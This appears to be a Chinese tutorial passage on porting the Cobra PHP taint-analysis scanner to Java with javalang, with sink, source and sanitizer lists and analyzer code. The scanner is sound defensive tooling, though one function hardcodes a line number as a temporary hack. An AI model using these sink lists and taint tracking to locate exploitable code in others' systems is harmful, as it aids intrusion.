def parameters_back(param, nodes, function_params=None):  # 用来得到回溯过程中的被赋值的变量是否与敏感函数变量相等,param是当前需要跟踪的污点
    """
    递归回溯敏感函数的赋值流程,param为跟踪的污点,当找到param来源时-->分析复制表达式-->获取新污点;否则递归下一个节点
    :param param:
    :param nodes:
    :param function_params:
    :return:
    """
    expr_lineno = 0  # source所在行号
    is_co, cp = is_controllable(param)

    if len(nodes) != 0 and is_co == -1:
        node = nodes[len(nodes) - 1]

        if isinstance(node, php.Assignment):  # 回溯的过程中,对出现赋值情况的节点进行跟踪
            param_node = get_node_name(node.node)  # param_node为被赋值的变量
            param_expr, expr_lineno, is_re = get_expr_name(node.expr)  # param_expr为赋值表达式,param_expr为变量或者列表

            if param == param_node and is_re is True:
                is_co = 0
                cp = None
                return is_co, cp, expr_lineno

            if param == param_node and not isinstance(param_expr, list):  # 找到变量的来源,开始继续分析变量的赋值表达式是否可控
                is_co, cp = is_controllable(param_expr)  # 开始判断变量是否可控

                if is_co != 1:
                    is_co, cp = is_sink_function(param_expr, function_params)

                param = param_expr  # 每次找到一个污点的来源时,开始跟踪新污点,覆盖旧污点

            if param == param_node and isinstance(param_expr, list):
                for expr in param_expr:
                    param = expr
                    is_co, cp = is_controllable(expr)

                    if is_co == 1:
                        return is_co, cp, expr_lineno

                    _is_co, _cp, expr_lineno = parameters_back(param, nodes[:-1], function_params)

                    if _is_co != -1:  # 当参数可控时,值赋给is_co 和 cp,有一个参数可控,则认定这个函数可能可控
                        is_co = _is_co
                        cp = _cp

        if is_co == -1:  # 当is_co为True时找到可控,停止递归
            is_co, cp, expr_lineno = parameters_back(param, nodes[:-1], function_params)  # 找到可控的输入时,停止递归

    elif len(nodes) == 0 and function_params is not None:
        for function_param in function_params:
            if function_param == param:
                is_co = 2
                cp = function_param

    return is_co, cp, expr_lineno


def get_function_params(nodes):
    """
    获取用户自定义函数的所有入参
    :param nodes: 自定义函数的参数部分
    :return: 以列表的形式返回所有的入参
    """
    params = []
    for node in nodes:

        if isinstance(node, php.FormalParameter):
            params.append(node.name)

    return params


def anlysis_function(node, back_node, vul_function, function_params, vul_lineno):
    """
    对用户自定义的函数进行分析-->获取函数入参-->入参用经过赋值流程,进入sink函数-->此自定义函数为危险函数
    :param node:
    :param back_node:
    :param vul_function:
    :param function_params:
    :param vul_lineno:
    :return:
    """
    global scan_results
    try:
        if node.name == vul_function and int(node.lineno) == int(vul_lineno):  # 函数体中存在敏感函数,开始对敏感函数前的代码进行检测
            for param in node.params:
                if isinstance(param.node, php.Variable):
                    analysis_variable_node(param.node, back_node, vul_function, vul_lineno, function_params)

                if isinstance(param.node, php.FunctionCall):
                    analysis_functioncall_node(param.node, back_node, vul_function, vul_lineno, function_params)

                if isinstance(param.node, php.BinaryOp):
                    analysis_binaryop_node(param.node, back_node, vul_function, vul_lineno, function_params)

                if isinstance(param.node, php.ArrayOffset):
                    analysis_arrayoffset_node(param.node, vul_function, vul_lineno)

    except Exception as e:
        logger.debug(e)


# def analysis_functioncall(node, back_node, vul_function, vul_lineno):
#     """
#     调用FunctionCall-->判断调用Function是否敏感-->get params获取所有参数-->开始递归判断
#     :param node:
#     :param back_node:
#     :param vul_function:
#     :param vul_lineno
#     :return:
#     """
#     global scan_results
#     try:
#         if node.name == vul_function and int(node.lineno) == int(vul_lineno):  # 定位到敏感函数
#             for param in node.params:
#                 if isinstance(param.node, php.Variable):
#                     analysis_variable_node(param.node, back_node, vul_function, vul_lineno)
#
#                 if isinstance(param.node, php.FunctionCall):
#                     analysis_functioncall_node(param.node, back_node, vul_function, vul_lineno)
#
#                 if isinstance(param.node, php.BinaryOp):
#                     analysis_binaryop_node(param.node, back_node, vul_function, vul_lineno)
#
#                 if isinstance(param.node, php.ArrayOffset):
#                     analysis_arrayoffset_node(param.node, vul_function, vul_lineno)
#
#     except Exception as e:
#         logger.debug(e)


def analysis_binaryop_node(node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理BinaryOp类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    logger.debug('[AST] vul_function:{v}'.format(v=vul_function))
    params = get_binaryop_params(node)
    params = export_list(params, export_params=[])

    for param in params:
        is_co, cp, expr_lineno = parameters_back(param, back_node, function_params)
        set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)


def analysis_arrayoffset_node(node, vul_function, vul_lineno):
    """
    处理ArrayOffset类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param vul_function:
    :param vul_lineno:
    :return:
    """
    logger.debug('[AST] vul_function:{v}'.format(v=vul_function))
    param = get_node_name(node.node)
    expr_lineno = node.lineno
    is_co, cp = is_controllable(param)

    set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)


def analysis_functioncall_node(node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理FunctionCall类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    logger.debug('[AST] vul_function:{v}'.format(v=vul_function))
    params = get_all_params(node.params)
    for param in params:
        is_co, cp, expr_lineno = parameters_back(param, back_node, function_params)
        set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)


def analysis_variable_node(node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理Variable类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    logger.debug('[AST] vul_function:{v}'.format(v=vul_function))
    params = get_node_name(node)
    is_co, cp, expr_lineno = parameters_back(params, back_node, function_params)
    set_scan_results(is_co, cp, expr_lineno, vul_function, params, vul_lineno)


def analysis_if_else(node, back_node, vul_function, vul_lineno, function_params=None):
    nodes = []
    if isinstance(node.node, php.Block):  # if语句中的sink点以及变量
        analysis(node.node.nodes, vul_function, back_node, vul_lineno, function_params)

    if node.else_ is not None:  # else语句中的sink点以及变量
        if isinstance(node.else_.node, php.Block):
            analysis(node.else_.node.nodes, vul_function, back_node, vul_lineno, function_params)

    if len(node.elseifs) != 0:  # elseif语句中的sink点以及变量
        for i_node in node.elseifs:
            if i_node.node is not None:
                if isinstance(i_node.node, php.Block):
                    analysis(i_node.node.nodes, vul_function, back_node, vul_lineno, function_params)

                else:
                    nodes.append(i_node.node)
                    analysis(nodes, vul_function, back_node, vul_lineno, function_params)


def analysis_echo_print(node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理echo/print类型节点-->判断节点类型-->不同If分支回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    global scan_results

    if int(vul_lineno) == int(node.lineno):
        if isinstance(node, php.Print):
            if isinstance(node.node, php.FunctionCall):
                analysis_functioncall_node(node.node, back_node, vul_function, vul_lineno, function_params)

            if isinstance(node.node, php.Variable) and vul_function == 'print':  # 直接输出变量信息
                analysis_variable_node(node.node, back_node, vul_function, vul_lineno, function_params)

            if isinstance(node.node, php.BinaryOp) and vul_function == 'print':
                analysis_binaryop_node(node.node, back_node, vul_function, vul_lineno, function_params)

            if isinstance(node.node, php.ArrayOffset) and vul_function == 'print':
                analysis_arrayoffset_node(node.node, vul_function, vul_lineno)

        elif isinstance(node, php.Echo):
            for k_node in node.nodes:
                if isinstance(k_node, php.FunctionCall):  # 判断节点中是否有函数调用节点
                    analysis_functioncall_node(k_node, back_node, vul_function, vul_lineno, function_params)  # 将含有函数调用的节点进行分析

                if isinstance(k_node, php.Variable) and vul_function == 'echo':
                    analysis_variable_node(k_node, back_node, vul_function, vul_lineno), function_params

                if isinstance(k_node, php.BinaryOp) and vul_function == 'echo':
                    analysis_binaryop_node(k_node, back_node, vul_function, vul_lineno, function_params)

                if isinstance(k_node, php.ArrayOffset) and vul_function == 'echo':
                    analysis_arrayoffset_node(k_node, vul_function, vul_lineno)


def analysis_eval(node, vul_function, back_node, vul_lineno, function_params=None):
    """
    处理eval类型节点-->判断节点类型-->不同If分支回溯判断参数是否可控-->输出结果
    :param node:
    :param vul_function:
    :param back_node:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    global scan_results

    if vul_function == 'eval' and int(node.lineno) == int(vul_lineno):
        if isinstance(node.expr, php.Variable):
            analysis_variable_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.FunctionCall):
            analysis_functioncall_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.BinaryOp):
            analysis_binaryop_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.ArrayOffset):
            analysis_arrayoffset_node(node.expr, vul_function, vul_lineno)


def analysis_file_inclusion(node, vul_function, back_node, vul_lineno, function_params=None):
    """
    处理include/require类型节点-->判断节点类型-->不同If分支回溯判断参数是否可控-->输出结果
    :param node:
    :param vul_function:
    :param back_node:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    global scan_results
    include_fs = ['include', 'include_once', 'require', 'require_once']

    if vul_function in include_fs and int(node.lineno) == int(vul_lineno):
        logger.debug('[AST-INCLUDE] {l}-->{r}'.format(l=vul_function, r=vul_lineno))

        if isinstance(node.expr, php.Variable):
            analysis_variable_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.FunctionCall):
            analysis_functioncall_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.BinaryOp):
            analysis_binaryop_node(node.expr, back_node, vul_function, vul_lineno, function_params)

        if isinstance(node.expr, php.ArrayOffset):
            analysis_arrayoffset_node(node.expr, vul_function, vul_lineno)


def set_scan_results(is_co, cp, expr_lineno, sink, param, vul_lineno):
    """
    获取结果信息-->输出结果
    :param is_co:
    :param cp:
    :param expr_lineno:
    :param sink:
    :param param:
    :param vul_lineno:
    :return:
    """
    results = []
    global scan_results

    result = {
        'code': is_co,
        'source': cp,
        'source_lineno': expr_lineno,
        'sink': sink,
        'sink_param:': param,
        'sink_lineno': vul_lineno
    }
    if result['code'] != -1:  # 查出来漏洞结果添加到结果信息中
        results.append(result)
        scan_results += results


def analysis(nodes, vul_function, back_node, vul_lineo, function_params=None):
    """
    调用FunctionCall-->analysis_functioncall分析调用函数是否敏感
    :param nodes: 所有节点
    :param vul_function: 要判断的敏感函数名
    :param back_node: 各种语法结构里面的语句
    :param vul_lineo: 漏洞函数所在行号
    :param function_params: 自定义函数的所有参数列表
    :return:
    """
    buffer_ = []
    for node in nodes:
        if isinstance(node, php.FunctionCall):  # 函数直接调用,不进行赋值
            anlysis_function(node, back_node, vul_function, function_params, vul_lineo)

        elif isinstance(node, php.Assignment):  # 函数调用在赋值表达式中
            if isinstance(node.expr, php.FunctionCall):
                anlysis_function(node.expr, back_node, vul_function, function_params, vul_lineo)

            if isinstance(node.expr, php.Eval):
                analysis_eval(node.expr, vul_function, back_node, vul_lineo, function_params)

            if isinstance(node.expr, php.Silence):
                buffer_.append(node.expr)
                analysis(buffer_, vul_function, back_node, vul_lineo, function_params)

        elif isinstance(node, php.Print) or isinstance(node, php.Echo):
            analysis_echo_print(node, back_node, vul_function, vul_lineo, function_params)

        elif isinstance(node, php.Silence):
            nodes = get_silence_params(node)
            analysis(nodes, vul_function, back_node, vul_lineo)

        elif isinstance(node, php.Eval):
            analysis_eval(node, vul_function, back_node, vul_lineo, function_params)

        elif isinstance(node, php.Include) or isinstance(node, php.Require):
            analysis_file_inclusion(node, vul_function, back_node, vul_lineo, function_params)

        elif isinstance(node, php.If):  # 函数调用在if-else语句中时
            analysis_if_else(node, back_node, vul_function, vul_lineo, function_params)

        elif isinstance(node, php.While) or isinstance(node, php.For):  # 函数调用在循环中
            if isinstance(node.node, php.Block):
                analysis(node.node.nodes, vul_function, back_node, vul_lineo, function_params)

        elif isinstance(node, php.Function) or isinstance(node, php.Method):
            function_body = []
            function_params = get_function_params(node.params)
            analysis(node.nodes, vul_function, function_body, vul_lineo, function_params=function_params)

        elif isinstance(node, php.Class):
            analysis(node.nodes, vul_function, back_node, vul_lineo, function_params)

        back_node.append(node)


def scan_parser(code_content, sensitive_func, vul_lineno, repair):
    """
    开始检测函数
    :param code_content: 要检测的文件内容
    :param sensitive_func: 要检测的敏感函数,传入的为函数列表
    :param vul_lineno: 漏洞函数所在行号
    :param repair: 对应漏洞的修复函数列表
    :return:
    """
    try:
        global repairs
        global scan_results
        repairs = repair
        scan_results = []
        parser = make_parser()
        all_nodes = parser.parse(code_content, debug=False, lexer=lexer.clone(), tracking=with_line)
        for func in sensitive_func:  # 循环判断代码中是否存在敏感函数,若存在,递归判断参数是否可控;对文件内容循环判断多次
            back_node = []
            analysis(all_nodes, func, back_node, int(vul_lineno), function_params=None)
    except SyntaxError as e:
        logger.warning('[AST] [ERROR]:{e}'.format(e=e))

    return scan_results

数据流分析基础知识

使用数据流分析进行漏洞挖掘一般知道4个关键词就可以了

  • sink: 污点函数, 敏感函数, 比如
    • PHPmysqli_querysystemshell_execunserialize
    • Java : executeSqlGroovyShell.evaluate()Runtime.getRuntime().exec(),unserialize
  • source: 输入来源, 通常为用户可控的来源, 比如
    • PHP$_GET$_POST$_REQUEST$_COOKIE$_FILES$_SERVER$HTTP_POST_FILES$HTTP_COOKIE_VARS$HTTP_REQUEST_VARS$HTTP_POST_VARS$HTTP_RAW_POST_DATA$HTTP_GET_VARS
    • JAVArequest.getParameterrequest.getparametermap
  • repair/sanitizer: 修复函数/清理函数, 通常为恶意输入过滤, hash或者强制类型转换, 比如
    • PHPmd5addslashesmysqli_real_escape_stringmysql_escape_string
    • Java : Integer.parseInt, Java中更多是开发者自己实现的函数, 例如某知名OA中的 null2intgetIntValue
  • DataFlow: 数据流, 变量在代码中的传递路径, 是Static Analysis中很重要的知识点, 这里先不考虑ControlFlow

了解了以上知识点, 结合CobraPHP Parser, 总结一下大概逻辑

  1. 定义sinksourcerepair
    1. 一组敏感函数sensitive_func, 例如mysqli_query
    2. 一组修复函数 repair, 例如mysqli_real_escape_string
    3. 一组预置的可控输入source, 例如_GET
  2. 查找mysqli_query所在代码文件vul_file的行数sink_lineno
  3. Cobra 的逻辑是自上而下遍历PHP文件, 直到匹配vul_filesink_lineno, 递归寻找变量传递过程, 是否能传达到可控输入source(这里的source也可以是函数定义的形参, 这样可以发现漏洞函数, 作为二次sink进行新的漏洞发掘)

  4. 若果传递过程中没有经过修复函数repair的处理, 即可认为这里存在漏洞

实现Java的AST处理器

其实大部分语言到了AST层面, 结构都差不多, 到了IR阶段(Intermediate Representation)就基本没有区别了

(很多代码审计软件都会先把源文件转换成IR再进行处理, 用AST其实一样处理, 只是IR更加通用, 常见的IR有三地址码形式)

所以从PHP的处理器到Java的处理器的基本功能是差不多实现的.

这里我们只需要把Java代码转换成AST的形式就足够满足需求了

Java AST解析器选择Python的javalang

安装方法: pip install javalang

这边我之前整理phplyjavalang结构对照的表格, 可能有所疏漏, 但是基本覆盖了常用的一些对象

phply javalang 解释 可迭代/参数 类型递归
php.Variable MemberReference 变量引用 member
php.FunctionCall MethodInvocation 函数直接调用 member arguments arguments
php.BinaryOp BinaryOperation 二元操作 operandl operandr operator operandl operandr
ArrayInitializer 数组初始化
php.ArrayOffset ArraySelector 数组赋值操作/不需要 children
php.Block BlockStatement 一些局部语句块,{} statements statements
php.Print Java中应当没有,应该是函数调用sout
php.Assignment Assignment 赋值语句 expressionl
php.Eval 这个java里没有,有就是 beanshell/jshell
php.Silence 准备执行函数调用而不显示错误消息 https://www.php.net/manual/en/internals2.opcodes.begin-silence.php
php.Echo Java中应当没有,应该是函数调用sout
php.Include import 暂不考虑
php.Require import 暂不考虑
php.While WhileStatement body.statements condition body.statements
php.For ForStatement body
php.Function MethodDeclaration phply:函数名称 java没有 body
php.Method MethodDeclaration phply:类名称与函数名称 java类方法 body
php.Class ClassDeclaration 类定义 body
php.Cast Cast 强制类型转换 $foo = (int) $bar;
php.If IfStatement then_statement else_statement then_statement else_statement
DoStatement do{}While结构,基本等同While处理 body.statements
Statement expression
CompilationUnit 整个树 children[-1]
StatementExpression 是直接赋值给变量(没变量类型声明开头) (代指一行? expression
LocalVariableDeclaration 声明变量且初始化 declarators declarators[0].initializer
This 代指当前类/类变量也是This的实例
SwitchStatement cases:[SwitchStatementCase]
SwitchStatementCase statements
php.Block BlockStatement statements

scan_parser配置sinkrepair启动扫描

def scan_parser(self, code_content, sensitive_func, vul_lineno, repair):
    """
    先从 sensitive_func 中提取敏感函数 func 循环查询AST
    ->进入analysis中查询 vul_lineno 所在行的敏感函数调用
    :param code_content: 要检测的文件内容
    :param sensitive_func: 要检测的敏感函数,传入的为函数列表
    :param vul_lineno: 漏洞函数所在行号
    :param repair: 对应漏洞的修复函数列表
    :return:
    """
    try:
        # global repairs
        # global scan_results
        self.repairs = repair
        self.scan_results = []
        tree = javalang.parse.parse(code_content)
        all_nodes = tree.children[-1]
        for func in sensitive_func:  # 循环判断代码中是否存在敏感函数,若存在,递归判断参数是否可控;对文件内容循环判断多次
            back_node = []
            self.analysis(all_nodes, func, back_node, int(vul_lineno), function_params=None)
    except SyntaxError as e:
        print('[AST] [ERROR]:{e}'.format(e=e))

    return self.scan_results

analysis分析器主函数

def analysis(self, nodes, vul_function, back_node, vul_lineo, function_params=None):
    """
    总体的思路是遍历所有节点且放入back_nodes中
    -> 查找所有的 MethodInvocation 直到找到匹配 vul_lineo 的那一个
    -> 然后在函数调用中查找出来涉及的变量
    ( anlysis_function 就是进入函数体进行敏感函数查找而已,可以优化 )
    ( analysis_functioncall_node 就是取出敏感函数的参数(变量)进行 parameters_back )

    :param nodes: 所有节点
    :param vul_function: 要判断的敏感函数名
    :param back_node: 各种语法结构里面的语句
    :param vul_lineo: 漏洞函数所在行号
    :param function_params: 自定义函数的所有参数列表
    :return:
    """
    buffer_ = []
    for node in nodes:
        if isinstance(node, MethodInvocation):
            # 从原文的意思看,这里是检测到函数调用,去找这个方法的MethodDeceleration,如果这个函数里面有敏感操作,就爆有问题
            self.anlysis_function(node, back_node, vul_function, function_params, vul_lineo)

        elif isinstance(node, StatementExpression):
            if isinstance(node.expression, MethodInvocation):
                self.anlysis_function(node.expression, back_node, vul_function, function_params, vul_lineo)

            elif isinstance(node.expression, Assignment):
                if isinstance(node.expression.value, MethodInvocation):
                    self.anlysis_function(node.expression.value, back_node, vul_function, function_params,
                                          vul_lineo)
        # todo 这里还有 binop 的操作
        elif isinstance(node, LocalVariableDeclaration):
            for declarator in node.declarators:
                if isinstance(declarator.initializer, MethodInvocation):
                    self.anlysis_function(declarator.initializer, back_node, vul_function, function_params,
                                          vul_lineo)


        elif isinstance(node, IfStatement):  # 函数调用在if-else语句中时
            self.analysis_if_else(node, vul_function, back_node, vul_lineo, function_params)

        elif isinstance(node, TryStatement):  # 函数调用在try-catch-finally语句中时
            # print(back_node)
            self.analysis(node.block, vul_function, back_node, vul_lineo, function_params)
            # analysis(node.catches, back_node, vul_function, vul_lineo, function_params)
            # analysis(node.finally_block, back_node, vul_function, vul_lineo, function_params)

        elif isinstance(node, WhileStatement):
            self.analysis(node.body.statements, vul_function, back_node, vul_lineo, function_params)


        elif isinstance(node, ForStatement):
            if isinstance(node.body, BlockStatement):
                self.analysis(node.body, vul_function, back_node, vul_lineo, function_params)


        elif isinstance(node, MethodDeclaration):
            function_body = [node]
            function_params = self.get_function_params(node.parameters)
            self.analysis(node.body, vul_function, function_body, vul_lineo, function_params=function_params)


        elif isinstance(node, ClassDeclaration):
            self.analysis(node.body, vul_function, back_node, vul_lineo, function_params)
        # if back_node == "executeSql":
        #     print(back_node)
        back_node.append(node)

anlysis_function分析函数调用

def anlysis_function(self, node, back_node, vul_function, function_params, vul_lineno):
    """
    对用户自定义的函数进行分析-->获取函数入参-->入参用经过赋值流程,进入sink函数-->此自定义函数为危险函数
    最终目的是分析函数调用
    :param node: 传入一个 MethodDeclaration 类型节点
    :param back_node: 传入 back_nodes
    :param vul_function: 存在漏洞的函数名
    :param function_params: 函数的形参(从 MethodDeceleration 节点进来的话)
    :param vul_lineno:
    :return:
    """
    global scan_results
    # try:
    if node.member == vul_function and int(node.position.line) == int(vul_lineno):  # 函数体中存在敏感函数,开始对敏感函数前的代码进行检测
        for param in node.arguments:
            if isinstance(param, MemberReference):
                self.analysis_variable_node(param, back_node, vul_function, vul_lineno, function_params)

            elif isinstance(param, MethodInvocation):
                self.analysis_functioncall_node(param, back_node, vul_function, vul_lineno, function_params)

            elif isinstance(param, BinaryOperation):
                self.analysis_binaryop_node(param, back_node, vul_function, vul_lineno, function_params)

    # except Exception as e:
    #     print(e)

analysis_variable_node分析变量节点

def analysis_variable_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理Variable类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    这里直接将最后一步回溯到的变量写入全局结果表中,并不包含路径
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    # print('[AST] vul_function:{v}'.format(v=vul_function))
    param = self.get_node_name(node)
    is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
    self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

get_expr_name获取赋值表达式中的参数名

def get_expr_name(self, node):  # expr为'expr'中的值
    """
    获取赋值表达式的表达式部分中的参数名(变量名)-->返回用来进行回溯
    :param node: 输入一个节点(要求是一个表达式的右值), 检测表达式包含的所有变量
    :return param_expr: 返回表达式中涉及的所有变量的列表 []
    :return param_lineno: 返回当前表达式所在行 int
    :return is_re: 返回是否已经修复  boolean
    """
    # todo 这里有个坑. javalang有position缺失的情况.可能会发生变量回溯丢失
    param_lineno = 0
    is_re = False
    param_expr = None


    if isinstance(node, MemberReference):  # 当赋值表达式为变量
        param_expr = node.member  # 返回变量名
        param_lineno = node.position.line

    elif isinstance(node, MethodInvocation):  # 当赋值表达式为函数
        param_expr = self.get_all_params(node.arguments)  # 返回函数参数列表
        param_lineno = node.position.line
        # function_name = node.qualifier + "." + node.member
        is_re = False
        # 调用了函数,判断调用的函数是否为修复函数
        for func in self.get_all_funcs(node):
            if self.is_repair(func):
                is_re = True
                break

    elif isinstance(node, BinaryOperation):  # 当赋值表达式为BinaryOp
        param_expr = self.get_binaryop_params(node)
        # todo 需要修复javalang的 position 丢失的问题 这里先硬编码一下
        # param_lineno = node.position.line
        param_lineno = 7

    elif isinstance(node, Assignment):  # 当赋值表达式为Assignment
        param_expr, param_lineno, is_re = self.get_expr_name(node.value)
        # param_lineno = node.position.line

    elif isinstance(node, This):  # 当赋值表达式为 This
        for selector in node.selectors:
            param_expr, param_lineno, is_re = self.get_expr_name(selector)
            if is_re:
                return param_expr, param_lineno, is_re
    else:
        param_expr = node
        # print(param_expr)
    # print(param_expr)
    return param_expr, param_lineno, is_re

get_node_name获取变量节点的变量名

def get_node_name(self, node):  # node为'node'中的元组
    """
    获取MemberReference类型节点的name
    :param node: 一般是MemberReference,字面量啥的不需要跟踪
    :return: MemberReference.member
    """
    if isinstance(node, MemberReference):
        return node.member  # 返回此节点中的变量名
    elif isinstance(node, VariableDeclarator):
        return node.name  # 返回此节点中的变量名

parameters_back实现变量回溯

    def parameters_back(self, param, nodes, function_params=None, node_lineno=-1):  # 用来得到回溯过程中的被赋值的变量是否与敏感函数变量相等,param是当前需要跟踪的污点
        """
        递归回溯敏感函数的赋值流程,param为跟踪的污点,当找到param来源时-->分析复制表达式-->获取新污点;否则递归下一个节点
        :param param: 输入一个变量名
        :param nodes: nodes 也就是之前访问的back_nodes,里面基本都是LocalVariableDeclaration/StatementExpression/IFxxx
        :param function_params: 递归过程中保持函数的形参,如果变量是从形参获得也认为可控
        :return is_co, cp, expr_lineno: 可控返回1 , 可控的变量名, 变量所在行
        """
        # node_lineno = -1
        # print(node_lineno)
        if len(nodes) > 0 and node_lineno == -1:
            node_lineno = nodes[0].position.line  # source所在行号
        expr_lineno = 0
        is_re = False
        is_co, cp = self.is_controllable(param)

        if len(nodes) != 0 and is_co == -1:
            node = nodes[len(nodes) - 1]
            # if isinstance(node, LocalVariableDeclaration):
            tnodes = []
            if isinstance(node, LocalVariableDeclaration):  # 回溯的过程中,对出现赋值情况的节点进行跟踪
                if isinstance(node, LocalVariableDeclaration):
                    tnodes = [[declarator, declarator.initializer] for declarator in node.declarators]
            elif isinstance(node, StatementExpression):
                if isinstance(node.expression, Assignment):
                    tnodes = [[node.expression.expressionl, node.expression.value]]

            for left_var, right_var in tnodes:
                param_node = self.get_node_name(left_var)
                # param_expr为赋值表达式,param_expr为变量或者列表
                param_expr, expr_lineno, is_re = self.get_expr_name(right_var)

                if param == param_node and is_re is False and isinstance(right_var, MethodInvocation):
                    funcs = self.get_all_funcs(right_var)
                    # print(funcs)
                    if not is_re:
                        for func in funcs:
                            is_co, cp = self.is_controllable(func)
                            if is_co == 1:
                                return is_co, cp, expr_lineno

                if param == param_node and is_re is True:
                    is_co = 0
                    cp = None
                    return is_co, cp, expr_lineno

                if param == param_node and not isinstance(param_expr, list):  # 找到变量的来源,开始继续分析变量的赋值表达式是否可控
                    is_co, cp = self.is_controllable(param_expr)  # 开始判断变量是否可控

                    if is_co != 1:
                        is_co, cp = self.is_sink_function(param_expr, function_params)

                    param = param_expr  # 每次找到一个污点的来源时,开始跟踪新污点,覆盖旧污点

                if param == param_node and isinstance(param_expr, list):
                    for expr in param_expr:
                        param = expr
                        is_co, cp = self.is_controllable(expr)

                        if is_co == 1:
                            return is_co, cp, expr_lineno

                        _is_co, _cp, expr_lineno = self.parameters_back(param, nodes[:-1], function_params, node_lineno)

                        if _is_co != -1:  # 当参数可控时,值赋给is_co 和 cp,有一个参数可控,则认定这个函数可能可控
                            is_co = _is_co
                            cp = _cp

            if is_co == -1:  # 当is_co为True时找到可控,停止递归
                is_co, cp, expr_lineno = self.parameters_back(param, nodes[:-1], function_params, node_lineno)  # 找到可控的输入时,停止递归

        # 如果是变量来源在函数的形参中,其实需要获取到函数名/函数所在行
        elif len(nodes) == 0 and function_params is not None:
            for function_param in function_params:
                if function_param == param:
                    is_co = 2
                    cp = function_param
                    expr_lineno = node_lineno

        return is_co, cp, expr_lineno

analysis_functioncall_node处理函数调用节点

def analysis_functioncall_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理FunctionCall类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    # print('[AST] vul_function:{v}'.format(v=vul_function))
    params = set(list(self.get_all_params(node.arguments)))
    for param in params:
        is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
        self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

get_function_params提取函数的参数

def get_function_params(self, nodes):
    """
    获取用户自定义函数的所有入参
    :param nodes: 自定义函数的参数部分
    :return params: 以列表的形式返回所有的入参
    """
    params = []
    for node in nodes:
        if isinstance(node, FormalParameter):
            params.append(node.name)
    return list(set(params))

get_all_params获取函数的参数列表

def get_all_params(self, nodes):  # 用来获取调用函数的参数列表,nodes为参数列表
    """
    获取函数结构的所有参数
    :param nodes: 输入MethodInvocation.arguments 作为nodes
    :return params: 返回这个函数参数列表中涉及的全部变量
    """
    params = []
    export_params = []  # 定义空列表,用来给export_list中使用
    for node in nodes:
        if isinstance(node, MethodInvocation):  # 函数参数来自另一个函数的返回值
            params = self.get_all_params(node.arguments)
        else:
            if isinstance(node, MemberReference):
                params.append(node.member)
            elif isinstance(node, BinaryOperation):
                params = self.get_binaryop_params(node)
                params = self.export_list(params, export_params)
    return list(set(params))

get_all_funcs获取节点下所有函数调用

def get_all_funcs(self, node, tmp=[]):
    funcs = [node.member]
    export_funcs = []  # 定义空列表,用来给export_list中使用
    for node in node.arguments:
        if isinstance(node, MethodInvocation):  # 函数参数来自另一个函数的返回值
            funcs.append(node.member)
            funcs = list(self.export_list(funcs, export_funcs))
        # if isinstance(node, MethodInvocation)
        # return get_all_funcs(node)
    return list(set(funcs))

analysis_binaryop_node处理二元运算

def analysis_binaryop_node(self, node, back_node, vul_function, vul_lineno, function_params=None):
    """
    处理BinaryOp类型节点-->取出参数-->回溯判断参数是否可控-->输出结果
    :param node:
    :param back_node:
    :param vul_function:
    :param vul_lineno:
    :param function_params:
    :return:
    """
    # print('[AST] vul_function:{v}'.format(v=vul_function))
    export_params = []
    params = self.get_binaryop_params(node)
    params = self.export_list(params, export_params)

    for param in params:
        is_co, cp, expr_lineno = self.parameters_back(param, back_node, function_params)
        self.set_scan_results(is_co, cp, expr_lineno, vul_function, param, vul_lineno)

get_binaryop_deep_params处理多层二元运算

def get_binaryop_deep_params(self, node, params):  # 取出right,left不为变量时,对象结构中的变量
    """
    递归取出深层的变量名
    :param node: node为 get_binaryop_params 中的 node.operandl 或者 node.operandr 节点
    :param params: 传进来之前的参数
    :return params: 返回深层的参数列表
    """
    if isinstance(node, BinaryOperation):  # node为BinaryOp,递归取出其中变量
        param = self.get_binaryop_params(node)
        params.append(param)
    if isinstance(node, MethodInvocation):  # node为FunctionCall,递归取出其中变量名
        params = self.get_all_params(node.arguments)
    return params

get_binaryop_params提取二元运算涉及的变量

def get_binaryop_params(self, node):  # 当为BinaryOp类型时,分别对left和right进行处理,取出需要的变量
    """
    用来提取Binaryop中的参数
    :param node: 输入一个BinaryOperation节点
    :return params: 返回当前节点涉及的变量列表
    """
    # print('[AST] Binaryop --> {node}'.format(node=node))
    params = []
    buffer_ = []

    if isinstance(node.operandl, MemberReference) or isinstance(node.operandr,
                                                                MemberReference):  # left, right都为变量直接取值
        if isinstance(node.operandl, MemberReference):
            params.append(node.operandl.member)

